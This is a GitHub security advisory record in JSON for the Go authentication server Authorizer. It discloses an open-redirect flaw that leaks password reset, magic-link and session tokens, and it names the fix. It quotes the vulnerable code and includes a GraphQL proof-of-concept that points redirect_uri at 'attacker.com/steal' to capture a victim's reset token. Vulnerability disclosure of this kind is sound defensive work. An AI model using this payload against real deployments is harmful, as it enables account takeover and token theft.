{"id":"GHSA-x3f4-v83f-7wp2","summary":"Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri","details":"Hi,\n\nI found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).\n\n## Affected Endpoints\n\n1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens\n2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens\n3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens\n4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens\n5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state\n6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)\n\n## Root Cause\n\nBecause these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `[\"https://my-secure-app.com\"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.\n\nIn `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:\n\n    if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != \"\" {\n        redirectURI = refs.StringValue(params.RedirectURI)\n    }\n\nThe reset token is appended to this URL at `internal/utils/common.go:77`:\n\n    func GetForgotPasswordURL(token, redirectURI string) string {\n        verificationURL := redirectURI + \"?token=\" + token\n        return verificationURL\n    }\n\nCompare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:\n\n    if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n        c.JSON(400, gin.H{\"error\": \"invalid redirect url\"})\n        return\n    }\n\nThis validation is missing from all 6 endpoints listed above.\n\n## Most Severe Path: Full Token Theft via verify_email\n\nAfter a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:\n\n    params := \"access_token=\" + authToken.AccessToken.Token +\n        \"&token_type=bearer&expires_in=\" + ... +\n        \"&id_token=\" + authToken.IDToken.Token + \"&nonce=\" + nonce\n\nThe redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.\n\nBecause tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header.\n\n## PoC\n\n    mutation {\n      forgot_password(params: {\n        email: \"victim@example.com\"\n        redirect_uri: \"https://attacker.com/steal\"\n      }) {\n        message\n      }\n    }\n\nThe victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=\u003creset_token\u003e`. Clicking the link sends the reset token to the attacker.\n\n## Impact\n\n- Account takeover via stolen password reset tokens\n- Full session theft via stolen access_token + id_token + refresh_token\n- Passwordless account compromise via stolen magic link tokens\n- No authentication required to trigger (the GraphQL mutations are public)\n- Victim only needs to click the email link from their trusted Authorizer instance\n\n## Additional Note\n\nThe default `AllowedOrigins` at `cmd/root.go:39` is `[\"*\"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.\n\nKoda Reef","aliases":["GO-2026-5737"],"modified":"2026-06-25T23:11:47.802786632Z","published":"2026-04-06T17:59:27Z","database_specific":{"github_reviewed_at":"2026-04-06T17:59:27Z","nvd_published_at":null,"cwe_ids":["CWE-601"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2"},{"type":"WEB","url":"https://github.com/authorizerdev/authorizer/pull/502"},{"type":"WEB","url":"https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2"},{"type":"PACKAGE","url":"https://github.com/authorizerdev/authorizer"},{"type":"WEB","url":"https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"}],"affected":[{"package":{"name":"github.com/authorizerdev/authorizer","ecosystem":"Go","purl":"pkg:golang/github.com/authorizerdev/authorizer"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260329085140-6d9bef1aaba3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-x3f4-v83f-7wp2/GHSA-x3f4-v83f-7wp2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}